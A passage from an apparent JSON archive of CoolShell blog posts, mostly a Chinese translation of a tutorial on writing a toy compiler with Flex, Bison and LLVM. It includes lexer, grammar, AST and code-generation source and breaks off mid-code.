壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2936.html\"><img alt=\"Mozilla的一个BUG\" height=\"150\" src=\"../wp-content/uploads/2010/09/Mozilla-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1528.html\">图片搜索引擎优化Checklist</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-12 使用Flex Bison 和LLVM编写自己的编译器.html",
    "content": "<html><body><p><strong>使用Flex Bison 和 LLVM编写你自己的编译器</strong><br/>\n原文出处：<a href=\"http://gnuu.org/2009/09/18/writing-your-own-toy-compiler/\">http://gnuu.org/2009/09/18/writing-your-own-toy-compiler</a></p>\n<h2> 1、介绍</h2>\n<p>我总是对编译器和语言非常感兴趣，但是兴趣并不会让你走的更远。大量的编译器的设计概念可以搞的任何一个程序员迷失在这些概念之中。不用说，我也曾今尝试过，但是并没有取得太大的成功，我以前的尝试都停留在语义分析阶段。本文的灵感主要来源于我最近一次的尝试，并且在这一次中我取得一点成就。</p>\n<p>幸运的是，最近的几年，我参加了一些项目，这些项目给了我在建立编译器上很多有用的经验和观点。另外一件事是，我非常幸运得到<a href=\"http://llvm.org/\">LLVM</a>的帮助。对于这个工具，我不知道改怎么去形容它，但是他给我的这个编译器的确带来非常大的帮助。<br/>\n<span id=\"more-1547\"></span></p>\n<h3>1.1、你为什么要阅读本文</h3>\n<p>你也许想看看我正在做的事情，但是更有可能的是，你也是和我一样对编译器和语言非常感兴趣，并且也可能遇到了一些在探索的过程中遇到了一些难题，你可能正打算解决这些难题，但是却没有发现好的资源。本文的目标就是提供这些资源，并以一种手把手的方式教你从头到尾的去创建一个具有基本功能的语言编译器。</p>\n<p>在本文，我不会去解释一些编译器基本理论，所以你要在开始本文前去了解什么是<a href=\"http://en.wikipedia.org/wiki/Backus%E2%80%93Naur_Form\">BNF语法</a>，什么是<a href=\"http://en.wikipedia.org/wiki/Abstract_syntax_tree\">抽象语法树数据结构 AST data structure</a>，什么是基础<a href=\"http://en.wikipedia.org/wiki/Compiler\">编译器流水线 complier pipline</a>。就是说，我会把本文描述的尽量简单。本文的目的就是以一种简单易懂的方式来介绍相关编译器资源的方式来帮助那些从来没有编译器经验的人。</p>\n<h3>1.2、达到的成果</h3>\n<p>如果你根据文章内容一步步来，你将会得到一个能定义函数，调用函数，定义变量，给变量赋值执行基本数学操作的语言。这门语言支持两种基本类型，double和integer类型。还有一些功能还未实现，因此，你可以通过自己去实现这些功能得到你满意的功能并且能为你理解编写一个编译器提供不少的帮助。</p>\n<p></p><h3>1.3 问题解答</h3>\n<h4>1.3.1 我需要了解什么样的语言</h4>\n<p>我们使用的工具是基于C/C++的。LLVM是基于C++的，我们的这个语言也基于C++，因为C++具有很多面向对象的优点和可以被重用的STL。此外对于C，Lex和Bison都具有那些初看起来令人迷惑的语法，但是我将尽可能的去解释他。我们需要处理的语法非常小，最多就100行，因此它是比较容易理解的。</p>\n<h4>1.3.2 很复杂吗？</h4>\n<p>是或否，这里面有很多的东西你需要了解，甚至多的让人感觉到害怕，但是老实说，其实这些都非常简单，我们同样会使用很多工具分解这些层次的复杂性，并使得这些内容可管理。</p>\n<h4>1.3.3 完成它需要多长时间</h4>\n<p>我们将要完成的编译器花了我三天的时间。但是如果你按“follow me”的方式来完成这个编译器的话，你将会花费更少的时间。如果要全部理解这里面的内容可能会花去稍微长一点的时间，但是你至少应该在一个下午就将整个编译器运行起来。</p>\n<p>好，如果你已经准备好，我们开始吧。</p>\n<p></p><h2>2、准备开始</h2>\n<h3>2.1 构成编译器的最基本的要素</h3>\n<p>一个编译器是由一组有三个到四个组件(还有一些子组件)构成，数据以管道的方式从一个组件输入并流向下一个组件。在我们这个编译器中，可能会用到一些稍微不同的工具。下面这个图展示了我们构造一个编译器的步骤，和每个步骤中将使用的工具。</p>\n<p><img alt=\"Compiler Pipeline\" height=\"76\" src=\"../wp-content/uploads/2009/09/pipeline.png\" width=\"620\"/> </p>\n<p>从上图你可以看到在Linking这一步是灰掉的。我们的语言将不支持编译器的连接(很多的语言都不支持编译器的连接)。在文法分析阶段，我们将使用开源工具Lex，即如今的<a href=\"http://flex.sourceforge.net/\">Flex</a>，文法分析一般都伴随者语法分析，我们使用的语法分析工具将会是Yacc，或者说是<a href=\"http://www.gnu.org/software/bison/\">Bison</a>，最后一旦语义分析完成，我们将遍历我们的抽象语法树，并生成我们的”bytecode 字节码”，或”机器码 matchine code”。做这一步，我们将使用<a href=\"http://llvm.org/\">LLVM</a>，它能生成快速字节码，我们将使用LLVM的JIT(Just In Tinme)来在我们的机器上编译执行它</p>\n<p>总结一下，步骤如下：</p>\n<ol>\n<li><strong>文法分析用<em>Flex</em></strong>:将数据分隔成一个个的标记token (标示符identifiers，关键字keywords，数字numbers, 中括号brackets, 大括号braces, 等等etc.) </li>\n<li><strong>语法分析用<em>Bison</em></strong>: 在分析标记的时候生成抽象语法树. Bison 将会做掉几乎所有的这些工作, 我们定义好我们的抽象语法树就OK了. </li>\n<li><strong>组装用<em>LLVM</em></strong>: 这里我们将遍历我们的抽象语法树，并未每一个节点生成字节/机器码。 这听起来似乎很疯狂，但是这几乎就是<em>最简单的</em> 一步了. </li>\n</ol>\n<p>在我们开始下一步之前，你应该准备安装好Flex,Bison和LLVM。因为我们马上就要使用到它们。</p>\n<p></p><h3>2.2 定义我们的语法</h3>\n<p>我们语法是我们语言中最核心的部分，我们的语法使用类似标准C的语法，因为这样的语法非常熟悉，而且简单。我们语法的一个典型的例子如下：</p>\n<pre class=\"EnlighterJSRAW\">\nint do_math(int a) {\n  int x = a * 5 + 3\n}\n\ndo_math(10)\n</pre>\n<p>看起来很简单。它和C非常相似，但是它没有使用分号做语句的分隔，同时你也会注意到我们的语法中没有return语句。这就是你可以自己实现的部分。</p>\n<p>现在我们还没有任何机制来验证结果。我们将通过检查我们编译之后LLVM打印出的字节码验证我们程序的正确性。</p>\n<p></p><h2>3、 第一步，使用Flex进行文法分析 </h2>\n<p>这是最简单的一步，给定语法之后，我们需要将我们的输入转换一系列内部标记token。如前所述，我们的语法具有非常基础的标记token:标示符identifier ，数字常量(整型和浮点型)，数学运算符号，括号，中括号，我们的文法定义文件称为token.l，它具有一些固定的语法。定义如下：</p>\n<pre>\n%{\n#include \n#include \"node.h\"\n#include \"parser.hpp\"\n#define SAVE_TOKEN yylval.string = new std::string(yytext, yyleng)\n#define TOKEN(t) (yylval.token = t)\nextern \"C\" int yywrap() { }\n%}\n\n%%\n\n[ \\t\\n]                 ;\n[a-zA-Z_][a-zA-Z0-9_]*  SAVE_TOKEN; return TIDENTIFIER;\n[0-9]+\\.[0-9]*          SAVE_TOKEN; return TDOUBLE;\n[0-9]+                  SAVE_TOKEN; return TINTEGER;\n\"=\"                     return TOKEN(TEQUAL);\n\"==\"                    return TOKEN(TCEQ);\n\"!=\"                    return TOKEN(TCNE);\n\"\"                     return TOKEN(TCGT);\n\"&gt;=\"                    return TOKEN(TCGE);\n\"(\"                     return TOKEN(TLPAREN);\n\")\"                     return TOKEN(TRPAREN);\n\"{\"                     return TOKEN(TLBRACE);\n\"}\"                     return TOKEN(TRBRACE);\n\".\"                     return TOKEN(TDOT);\n\",\"                     return TOKEN(TCOMMA);\n\"+\"                     return TOKEN(TPLUS);\n\"-\"                     return TOKEN(TMINUS);\n\"*\"                     return TOKEN(TMUL);\n\"/\"                     return TOKEN(TDIV);\n.                       printf(\"Unknown token!\\n\"); yyterminate();\n\n%%\n</pre>\n<p>在第一节(译者注：即%{%}中定义的部分)声明了一些特定的C代码。由于Bison不会去访问我门的yytext变量，我们使用宏”SAVE_TOKEN”来保证标示符的文本和文本长度是安全的(而不是靠标记本身来保证)。第一个token告诉我们要忽略掉那些空白字符。你会注意到我们有些一些等价性比较的标记和其他。还有一些标记还没有实现，你可以非常自由的将这些标记加到你自己的编译器中去。</p>\n<p>现在我们在这里做的是定义这些标记和他们的符号名。符号(比如TIDENTFIER)将成为我们语法中的终结符。我们只是返回它，我们从未定义它，他们是在什么地方定义的？当然是在bison语法文件中。我们包含的parser.hpp头文件将会被bison所生成，并且里面的所有符号都将被生成，并被我们在这里使用。</p>\n<p>我们对这个token.l运行flex命令，并生成tokens.cpp文件，这个程序将会和我们的语法分析器一起编译并提供yylex()函数来识别这些标记。我们将在稍后运行这个命令，因为现在我们需要从bison那里生成头文件。</p>\n<p></p><h2>4、第2步 使用Bison进行语法分析</h2>\n<p>这是我们工作中最富有挑战性的一部分。生成一个正确的无二义的语法并不是一项简单的工作，要经过很多实践努力。庆幸的是，我们例子中的语法是简单而完整的。在我们实现我们的语法之前，我们需要详细的讲解一下我们的设计。</p>\n<p></p><h3>4.1、设计AST(抽象语法树)</h3>\n<p>语法分析的最终结果是抽象语法树AST，正如我们将看到的，Bison生成抽象语法树的最优工具；我们唯一需要做的事情就是将我们的代码插入到语法中去。</p>\n<p>文本形式字符串，例如”int x”代表了我们语言的文本形式，和这个类似，抽象语法树AST则代表了我们语言在内存中的表现形式一样(在语言在组装成而进程码之前)。正因如此，我们要在把这些插入在语法分析中的数据结构首先设计好。这个过程是非常直接的，因为我们为语法中的每个语义单元创建了一个结构。方法声明、方法调用，变量声明，引用，这些都构成了抽象语法树的节点。我们语言的抽象语法树的节点如下图：<br/>\n<img alt=\"Our Toy Language AST\" border=\"0\" height=\"505\" src=\"../wp-content/uploads/2009/09/ClassDiagram.png\" width=\"640\"/><br/>\n上图的C++代码如下：<br/>\nnode.h文件</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;llvm/Value.h&gt;\n\nclass CodeGenContext;\nclass NStatement;\nclass NExpression;\nclass NVariableDeclaration;\n\ntypedef std::vector&lt;NStatement*&gt; StatementList;\ntypedef std::vector&lt;NExpression*&gt; ExpressionList;\ntypedef std::vector&lt;NVariableDeclaration*&gt; VariableList;\n\nclass Node {\npublic:\n    virtual ~Node() {}\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context) { }\n};\n\nclass NExpression : public Node {\n};\n\nclass NStatement : public Node {\n};\n\nclass NInteger : public NExpression {\npublic:\n    long long value;\n    NInteger(long long value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NDouble : public NExpression {\npublic:\n    double value;\n    NDouble(double value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NIdentifier : public NExpression {\npublic:\n    std::string name;\n    NIdentifier(const std::string&amp; name) : name(name) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NMethodCall : public NExpression {\npublic:\n    const NIdentifier&amp; id;\n    ExpressionList arguments;\n    NMethodCall(const NIdentifier&amp; id, ExpressionList&amp; arguments) :\n        id(id), arguments(arguments) { }\n    NMethodCall(const NIdentifier&amp; id) : id(id) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NBinaryOperator : public NExpression {\npublic:\n    int op;\n    NExpression&amp; lhs;\n    NExpression&amp; rhs;\n    NBinaryOperator(NExpression&amp; lhs, int op, NExpression&amp; rhs) :\n        lhs(lhs), rhs(rhs), op(op) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NAssignment : public NExpression {\npublic:\n    NIdentifier&amp; lhs;\n    NExpression&amp; rhs;\n    NAssignment(NIdentifier&amp; lhs, NExpression&amp; rhs) :\n        lhs(lhs), rhs(rhs) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NBlock : public NExpression {\npublic:\n    StatementList statements;\n    NBlock() { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NExpressionStatement : public NStatement {\npublic:\n    NExpression&amp; expression;\n    NExpressionStatement(NExpression&amp; expression) :\n        expression(expression) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NVariableDeclaration : public NStatement {\npublic:\n    const NIdentifier&amp; type;\n    NIdentifier&amp; id;\n    NExpression *assignmentExpr;\n    NVariableDeclaration(const NIdentifier&amp; type, NIdentifier&amp; id) :\n        type(type), id(id) { }\n    NVariableDeclaration(const NIdentifier&amp; type, NIdentifier&amp; id, NExpression *assignmentExpr) :\n        type(type), id(id), assignmentExpr(assignmentExpr) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NFunctionDeclaration : public NStatement {\npublic:\n    const NIdentifier&amp; type;\n    const NIdentifier&amp; id;\n    VariableList arguments;\n    NBlock&amp; block;\n    NFunctionDeclaration(const NIdentifier&amp; type, const NIdentifier&amp; id,\n            const VariableList&amp; arguments, NBlock&amp; block) :\n        type(type), id(id), arguments(arguments), block(block) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\n</pre>\n<p>非常的清晰明了，我们省略了getter和setter方法，这里只列出了共有成员；这些类也不需要影藏私有数据，并省略了codeGen方法。在我们导出AST成LLVM的字节码时，就需要使用到这个方法。</p>\n<p></p><h3>4.2、Bison介绍</h3>\n<p>bison的语法定义文件同样是由这些标记构成的最复杂的部分。这并不是说技术上有多复杂，但是我也会花一些时间来讨论一下Bison的语法细节，好，现在让我们立刻来熟悉一下Bison的语法。我们将使用基于类似于BNF的语法，使用定义的好终结符和非终结符来组成我们有效的每一个语句和表达式(这些语句和表达式就代表我们之前定义的AST节点)。例如：</p>\n<pre>\nif_stmt : IF '(' condition ')' block { /* do stuff when this rule is encountered */ }\n        | IF '(' condition ')'       { ... }\n        ;\n</pre>\n<p>在上面例子中，我们定义了一个if语句(如果我们支持if语句话)，它和BNF不同之处在于，每个语法后面都跟了一系列动作(在'{‘和’}’之间的内容)。这个动作将在此条语法被识别(译者注：归约)的时候被执行。这个过程将会递归地按从叶子符号到根节点符号的次序执行，在这个过程，每一个非终结符最终会被合并为一棵大的语法树。你将会看到的’$$’符号代表着当前树的跟节点(译者注：’$$’代表本条语法规则中冒号左边的部分的语义内容)。此外’$1’代表了本条规则叶子中的第一个符号(译者注：’$1’代表了本条语法规则冒号右边的内容，$1代表冒号右边的第一个符号的语义值)。在上面的例子中，当’condition’有效时我们将会把$3 赋值给$$。这个例子可以解释如何将我们AST和语法规则关联起来。我们将在每一条规则中通常赋值一个节点到$$，最后这些规则会合并成一个大的抽象语法树。Bison的部分是我们语言最复杂的部分，你需要花一点时间去理解它。此外到此为止，你还没有看到完整的代码。下面就是完整的Bison部分的代码：<br/>\nparser.y</p>\n<pre>\n%{\n    #include \"node.h\"\n    NBlock *programBlock; /* the top level root node of our final AST */\n\n    extern int yylex();\n    void yyerror(const char *s) { printf(\"ERROR: %s\\n\", s); }\n%}\n\n/* Represents the many different ways we can access our data */\n%union {\n    Node *node;\n    NBlock *block;\n    NExpression *expr;\n    NStatement *stmt;\n    NIdentifier *ident;\n    NVariableDeclaration *var_decl;\n    std::vector *varvec;\n    std::vector *exprvec;\n    std::string *string;\n    int token;\n}\n\n/* Define our terminal symbols (tokens). This should\n   match our tokens.l lex file. We also define the node type\n   they represent.\n */\n%token  TIDENTIFIER TINTEGER TDOUBLE\n%token  TCEQ TCNE TCLT TCLE TCGT TCGE TEQUAL\n%token  TLPAREN TRPAREN TLBRACE TRBRACE TCOMMA TDOT\n%token  TPLUS TMINUS TMUL TDIV\n\n/* Define the type of node our nonterminal symbols represent.\n   The types refer to the %union declaration above. Ex: when\n   we call an ident (defined by union type ident) we are really\n   calling an (NIdentifier*). It makes the compiler happy.\n */\n%type  ident\n%type  numeric expr\n%type  func_decl_args\n%type  call_args\n%type  program stmts block\n%type  stmt var_decl func_decl\n%type  comparison\n\n/* Operator precedence for mathematical operators */\n%left TPLUS TMINUS\n%left TMUL TDIV\n\n%start program\n\n%%\n\nprogram : stmts { programBlock = $1; }\n        ;\n\nstmts : stmt { $$ = new NBlock(); $$-&gt;statements.push_back($1); }\n      | stmts stmt { $1-&gt;statements.push_back($2); }\n      ;\n\nstmt : var_decl | func_decl\n     | expr { $$ = new NExpressionStatement(*$1); }\n     ;\n\nblock : TLBRACE stmts TRBRACE { $$ = $2; }\n      | TLBRACE TRBRACE { $$ = new NBlock(); }\n      ;\n\nvar_decl : ident ident { $$ = new NVariableDeclaration(*$1, *$2); }\n         | ident ident TEQUAL expr { $$ = new NVariableDeclaration(*$1, *$2, $4); }\n         ;\n\nfunc_decl : ident ident TLPAREN func_decl_args TRPAREN block\n            { $$ = new NFunctionDeclaration(*$1, *$2, *$4, *$6); delete $4; }\n          ;\n\nfunc_decl_args : /*blank*/  { $$ = new VariableList(); }\n          | var_decl { $$ = new VariableList(); $$-&gt;push_back($1); }\n          | func_decl_args TCOMMA var_decl { $1-&gt;push_back($3); }\n          ;\n\nident : TIDENTIFIER { $$ = new NIdentifier(*$1); delete $1; }\n      ;\n\nnumeric : TINTEGER { $$ = new NInteger(atol($1-&gt;c_str())); delete $1; }\n        | TDOUBLE { $$ = new NDouble(atof($1-&gt;c_str())); delete $1; }\n        ;\n\nexpr : ident TEQUAL expr { $$ = new NAssignment(*$1, *$3); }\n     | ident TLPAREN call_args TRPAREN { $$ = new NMethodCall(*$1, *$3); delete $3; }\n     | ident { $$ = $1; }\n     | numeric\n     | expr comparison expr { $$ = new NBinaryOperator(*$1, $2, *$3); }\n     | TLPAREN expr TRPAREN { $$ = $2; }\n     ;\n\ncall_args : /*blank*/  { $$ = new ExpressionList(); }\n          | expr { $$ = new ExpressionList(); $$-&gt;push_back($1); }\n          | call_args TCOMMA expr  { $1-&gt;push_back($3); }\n          ;\n\ncomparison : TCEQ | TCNE | TCLT | TCLE | TCGT | TCGE\n           | TPLUS | TMINUS | TMUL | TDIV\n           ;\n\n%%\n</pre>\n<p></p><h2>5、生成Flex和Bison代码</h2>\n<p>现在我们有了Flex的token.l文件和Bison的parser.y文件。我们需要将这两个文件传递给工具，并由工具来生成c++代码文件。注意Bison同时会为Flex生成parser.hpp头文件；这样做是通过-d开关实现的，这个开关是的我们的标记声明和源文件分开，这样就是的我们可以让这些token标记被其他的程序使用。下面的命令创建parser.cpp，parser.hpp和tokens.cpp源文件。</p>\n<pre>\n$ bison -d -o parser.cpp parser.y\n$ lex -o tokens.cpp tokens.l\n</pre>\n<p>如果上述工作都没有出错的话，我们现在位置已经完成了我们编译器工作总量的2/3。如果你现在想测试一下我们的代码，你可以编译一个简单的main.cpp程序：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include \"node.h\"\nextern NBlock* programBlock;\nextern int yyparse();\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout &lt;&lt; programBlock &lt;&lt; endl;\n    return 0;\n}\n</pre>\n<p>你可以编译这些文件：<br/>\n$ g++ -o parser parser.cpp tokens.cpp main.cpp<br/>\n现在你需要安装LLVM了，因为llvm::Value被node.h引用了。如果你不想这么做，只是想测试一下Flex和Bison部分，你可以注释掉node.h中codeGen()方法。</p>\n<p>如果上述工作都完成了，你现在将有一个语法分析器，这个语法分析器将从标准输入读入，并打出在内存中代表抽象语法树跟节点的内存非零地址。</p>\n<h2>6、组装AST和LLVM</h2>\n<p>编译器的下一步很自然地是应该将AST转换成机器码。这意味着将每一个语义节点转换成等价的机器指令。LLVM将帮助我们把这步变得非常简单，因为LLVM将真实的指令抽象成类似AST的指令。这意味着我们真正要做的事就是将AST转换成抽象指令。<br/>\n你可以想象这个过程是从抽象语法树的根节点开始遍历每一个树上节点并产生字节码的过程。现在就是使用我们在Node中定义的codeGen方法的时候了。例如，当我们遍历NBlock代码的时候(语义上NBlock代表一组我们语言的语句的集合)，我们将调用列表中每条语句的codeGen方法。上面步骤代码类似如下的形式：</p>\n<pre class=\"EnlighterJSRAW\">\nValue* NBlock::codeGen(CodeGenContext&amp; context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout &lt;&lt; \"Generating code for \" &lt;&lt; typeid(**it).name() &lt;&lt; endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout &lt;&lt; \"Creating block\" &lt;&lt; endl;\n    return last;\n}\n</pre>\n<p>我们将实现抽象语法树上所有节点的codeGen方法，然后在向下遍历树的时候调用它，并隐式的遍历我们整个抽象语法树。在这个过程中，我们在CodeGenContext类来告诉我们生成字节码的位置。</p>\n<p></p><h3> 6.1、关于LLVM要注意的一些信息</h3>\n<p>LLVM最大的一个确定就是，你很难找到LLVM的相关文档。在线手册、教程、或其他的文档都没有及时的得到相关维护，这些文档大部分都是过期的文档。除非你去深入研究，否则你很难找到关于C++ API的信息。如果你自己安装LLVM，docs<br/>\n是最新的文档。</p>\n<p>我发现最好学习LLVM的方法就是通过LLVM的例子去学习。在LLVM的压缩包的’example’目录下有很多快速生成字节码的例子。在<a href=\"http://llvm.org/demo/\">LLVM demo site</a>上可以将C做输入，然后生成C++ API的例子。以这些例子提供的方法，我找到了类似于int x = 5 ;的指令的生成方法。我使用这些工具实现大部分的节点。</p>\n<p>关于LLVM的问题描述到此为止，我将在下面罗列出codegen.h和codegen.cpp的源代码</p>\n<p>codegen.h的内容。</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stack&gt;\n#include &lt;llvm/Module.h&gt;\n#include &lt;llvm/Function.h&gt;\n#include &lt;llvm/PassManager.h&gt;\n#include &lt;llvm/CallingConv.h&gt;\n#include &lt;llvm/Bitcode/ReaderWriter.h&gt;\n#include &lt;llvm/Analysis/Verifier.h&gt;\n#include &lt;llvm/Assembly/PrintModulePass.h&gt;\n#include &lt;llvm/Support/IRBuilder.h&gt;\n#include &lt;llvm/ModuleProvider.h&gt;\n#include &lt;llvm/ExecutionEngine/GenericValue.h&gt;\n#include &lt;llvm/ExecutionEngine/JIT.h&gt;\n#include &lt;llvm/Support/raw_ostream.h&gt;\n\nusing namespace llvm;\n\nclass NBlock;\n\nclass CodeGenBlock {\npublic:\n    BasicBlock *block;\n    std::map&lt;std::string , Value*&gt; locals;\n};\n\nclass CodeGenContext {\n    std::stack&lt;codegenblock  *&gt; blocks;\n    Function *mainFunction;\n\npublic:\n    Module *module;\n    CodeGenContext() { module = new Module(\"main\"); }\n\n    void generateCode(NBlock&amp; root);\n    GenericValue runCode();\n    std::map&lt;std::string , Value*&gt;&amp; locals() { return blocks.top()-&gt;locals; }\n    BasicBlock *currentBlock() { return blocks.top()-&gt;block; }\n    void pushBlock(BasicBlock *block) { blocks.push(new CodeGenBlock()); blocks.top()-&gt;block = block; }\n    void popBlock() { CodeGenBlock *top = blocks.top(); blocks.pop(); delete top; }\n};\n</pre>\n<p>codegen.cpp的内容。</p>\n<pre class=\"EnlighterJSRAW\">\n#include \"node.h\"\n#include \"codegen.h\"\n#include \"parser.hpp\"\n\nusing namespace std;\n\n/* Compile the AST into a module */\nvoid CodeGenContext::generateCode(NBlock&amp; root)\n{\n    std::cout &lt;&lt; \"Generating code...\\n\";\n\n    /* Create the top level interpreter function to call as entry */\n    vector&lt;const type*&gt; argTypes;\n    FunctionType *ftype = FunctionType::get(Type::VoidTy, argTypes, false);\n    mainFunction = Function::Create(ftype, GlobalValue::InternalLinkage, \"main\", module);\n    BasicBlock *bblock = BasicBlock::Create(\"entry\", mainFunction, 0);\n\n    /* Push a new variable/block context */\n    pushBlock(bblock);\n    root.codeGen(*this); /* emit bytecode for the toplevel block */\n    ReturnInst::Create(bblock);\n    popBlock();\n\n    /* Print the bytecode in a human-readable format\n       to see if our program compiled properly\n     */\n    std::cout &lt;&lt; \"Code is generated.\\n\";\n    PassManager pm;\n    pm.add(createPrintModulePass(&amp;outs()));\n    pm.run(*module);\n}\n\n/* Executes the AST by running the main function */\nGenericValue CodeGenContext::runCode() {\n    std::cout &lt;&lt; \"Running code...\\n\";\n    ExistingModuleProvider *mp = new ExistingModuleProvider(module);\n    ExecutionEngine *ee = ExecutionEngine::create(mp, false);\n    vector&lt;genericvalue&gt; noargs;\n    GenericValue v = ee-&gt;runFunction(mainFunction, noargs);\n    std::cout &lt;&lt; \"Code was run.\\n\";\n    return v;\n}\n\n/* Returns an LLVM type based on the identifier */\nstatic const Type *typeOf(const NIdentifier&amp; type)\n{\n    if (type.name.compare(\"int\") == 0) {\n        return Type::Int64Ty;\n    }\n    else if (type.name.compare(\"double\") == 0) {\n        return Type::FP128Ty;\n    }\n    return Type::VoidTy;\n}\n\n/* -- Code Generation -- */\n\nValue* NInteger::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating integer: \" &lt;&lt; value &lt;&lt; endl;\n    return ConstantInt::get(Type::Int64Ty, value, true);\n}\n\nValue* NDouble::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating double: \" &lt;&lt; value &lt;&lt; endl;\n    return ConstantFP::get(Type::FP128Ty, value);\n}\n\nValue* NIdentifier::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating identifier reference: \" &lt;&lt; name &lt;&lt; endl;\n    if (context.locals().find(name) == context.locals().end()) {\n        std::cerr &lt;&lt; \"undeclared variable \" &lt;&lt; name &lt;&lt; endl;\n        return NULL;\n    }\n    return new LoadInst(context.locals()[name], \"\", false, context.currentBlock());\n}\n\nValue* NMethodCall::codeGen(CodeGenContext&amp; context)\n{\n    Function *function = context.module-&gt;getFunction(id.name.c_str());\n    if (function == NULL) {\n        std::cerr &lt;&lt; \"no such function \" &lt;&lt; id.name &lt;&lt; endl;\n    }\n    std::vector&lt;value *&gt; args;\n    ExpressionList::const_iterator it;\n    for (it = arguments.begin(); it != arguments.end(); it++) {\n        args.push_back((**it).codeGen(context));\n    }\n    CallInst *call = CallInst::Create(function, args.begin(), args.end(), \"\", context.currentBlock());\n    std::cout &lt;&lt; \"Creating method call: \" &lt;&lt; id.name &lt;&lt; endl;\n    return call;\n}\n\nValue* NBinaryOperator::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating binary operation \" &lt;&lt; op &lt;&lt; endl;\n    Instruction::BinaryOps instr;\n    switch (op) {\n        case TPLUS:     instr = Instruction::Add; goto math;\n        case TMINUS:    instr = Instruction::Sub; goto math;\n        case TMUL:      instr = Instruction::Mul; goto math;\n        case TDIV:      instr = Instruction::SDiv; goto math;\n\n        /* TODO comparison */\n    }\n\n    return NULL;\nmath:\n    return BinaryOperator::Create(instr, lhs.codeGen(context),\n        rhs.codeGen(context), \"\", context.currentBlock());\n}\n\nValue* NAssignment::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Creating assignment for \" &lt;&lt; lhs.name &lt;&lt; endl;\n    if (context.locals().find(lhs.name) == context.locals().end()) {\n        std::cerr &lt;&lt; \"undeclared variable \" &lt;&lt; lhs.name &lt;&lt; endl;\n        return NULL;\n    }\n    return new StoreInst(rhs.codeGen(context), context.locals()[lhs.name], false, context.currentBlock());\n}\n\nValue* NBlock::codeGen(CodeGenContext&amp; context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout &lt;&lt; \"Generating code for \" &lt;&lt; typeid(**it).name() &lt;&lt; endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout &lt;&lt; \"Creating block\" &lt;&lt; endl;\n    return last;\n}\n\nValue* NExpressionStatement::codeGen(CodeGenContext&amp; context)\n{\n    std::cout &lt;&lt; \"Generating code for \" &lt;&lt; typeid(expression).name() &lt;&lt; endl;\n    return expression.codeGen(context);\n}\n\nValue* 